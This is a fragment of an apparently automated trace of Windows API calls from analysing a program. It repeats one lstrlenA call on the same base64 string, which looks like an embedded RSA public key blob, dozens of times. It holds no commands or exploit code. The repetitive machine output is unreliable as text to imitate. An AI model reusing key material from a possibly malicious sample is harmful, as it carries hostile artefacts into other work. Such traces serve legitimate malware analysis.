(lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.799] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.799] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.799] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.799] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.799] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.799] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.799] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.799] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.799] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.799] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.799] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.799] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.799] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.799] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.799] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.799] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.799] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.799] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.799] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.800] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.800] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.800] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.800] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.800] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.800] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.800] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.800] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.800] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.800] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.800] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.800] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.800] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.800] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.800] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.800] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.800] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.800] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.800] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.800] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.800] lstrlenA 